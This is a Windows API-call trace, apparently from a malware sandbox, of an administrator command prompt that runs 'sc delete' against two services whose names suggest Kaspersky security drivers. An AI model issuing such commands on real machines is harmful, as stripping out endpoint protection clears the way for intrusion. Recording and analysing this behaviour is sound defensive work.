_Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0078.385] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.385] GetFileType (hFile=0x120) returned 0x3 [0078.385] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.385] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0078.385] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0078.385] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.386] GetFileType (hFile=0xb8) returned 0x3 [0078.386] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.386] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.386] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.386] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.386] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.386] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.386] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.386] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.386] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.386] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.386] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.386] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.386] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.386] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.386] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.386] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.386] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.387] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.387] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.387] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.387] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.387] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.387] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.387] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.387] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.387] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.387] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.387] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.387] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.387] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.387] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.387] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.387] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.387] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.387] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.387] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.387] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.387] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.388] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.388] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.388] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.388] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.388] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.388] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.388] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.388] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.388] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.388] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="lbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.388] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.388] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.388] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.388] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="kackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.388] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.388] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.388] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.388] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="bckupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.388] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.388] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.388] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.389] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="dkupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.389] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.389] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.389] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.389] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="fupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.389] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.389] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.389] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.389] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="lpflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.389] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.389] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.389] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.389] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="tflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.389] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.389] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.389] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.389] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.389] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.389] GetFileType (hFile=0xb8) returned 0x3 [0078.389] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.389] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.390] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.390] GetFileType (hFile=0x120) returned 0x3 [0078.390] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.390] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klkbdflt\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klkbdflt\n", lpUsedDefaultChar=0x0) returned 20 [0078.390] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x13, lpOverlapped=0x0) returned 1 [0078.390] GetProcessHeap () returned 0x240000 [0078.390] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0078.390] GetProcessHeap () returned 0x240000 [0078.390] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0078.390] GetProcessHeap () returned 0x240000 [0078.390] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0078.390] GetProcessHeap () returned 0x240000 [0078.390] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0078.390] GetProcessHeap () returned 0x240000 [0078.390] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x32) returned 0x256510 [0078.390] GetConsoleOutputCP () returned 0x1b5 [0078.391] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.391] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.391] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.391] GetProcessHeap () returned 0x240000 [0078.391] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0078.391] GetProcessHeap () returned 0x240000 [0078.391] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x38) returned 0x256550 [0078.391] GetProcessHeap () returned 0x240000 [0078.391] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0078.391] SetErrorMode (uMode=0x0) returned 0x1 [0078.392] SetErrorMode (uMode=0x1) returned 0x0 [0078.392] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0078.392] SetErrorMode (uMode=0x1) returned 0x1 [0078.392] GetProcessHeap () returned 0x240000 [0078.392] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0078.392] GetProcessHeap () returned 0x240000 [0078.392] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0078.392] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0078.392] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0078.392] GetProcessHeap () returned 0x240000 [0078.392] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0078.392] GetProcessHeap () returned 0x240000 [0078.392] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0078.392] GetProcessHeap () returned 0x240000 [0078.392] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0078.392] GetProcessHeap () returned 0x240000 [0078.392] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0078.392] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0078.392] GetProcessHeap () returned 0x240000 [0078.392] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0078.392] GetProcessHeap () returned 0x240000 [0078.392] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0078.392] GetProcessHeap () returned 0x240000 [0078.392] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0078.392] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.393] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.393] GetLastError () returned 0x2 [0078.393] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.393] GetLastError () returned 0x2 [0078.393] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.393] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.393] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.393] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.394] GetLastError () returned 0x2 [0078.394] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.394] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.394] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.394] GetProcessHeap () returned 0x240000 [0078.394] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0078.394] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.394] GetProcessHeap () returned 0x240000 [0078.394] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x9e) returned 0x259180 [0078.394] GetProcessHeap () returned 0x240000 [0078.394] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x9e [0078.394] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klkbdflt") returned 1 [0078.395] GetProcessHeap () returned 0x240000 [0078.395] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0078.395] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0078.395] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0078.395] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0078.395] GetProcessHeap () returned 0x240000 [0078.395] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0078.396] GetProcessHeap () returned 0x240000 [0078.396] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0078.396] GetProcessHeap () returned 0x240000 [0078.396] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0078.396] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klkbdflt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klkbdflt", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete klkbdflt", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0xaec, dwThreadId=0xbb4)) returned 1 [0078.401] CloseHandle (hObject=0x54) returned 1 [0078.401] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0078.401] GetProcessHeap () returned 0x240000 [0078.401] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0078.401] GetEnvironmentStringsW () returned 0x261b10* [0078.401] GetProcessHeap () returned 0x240000 [0078.401] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0078.401] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.401] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0078.401] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffda000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0078.402] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0078.452] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0078.453] CloseHandle (hObject=0x50) returned 1 [0078.453] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0078.453] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0078.453] GetProcessHeap () returned 0x240000 [0078.453] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0078.453] GetEnvironmentStringsW () returned 0x261b10* [0078.453] GetProcessHeap () returned 0x240000 [0078.453] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0078.453] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.453] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0078.453] 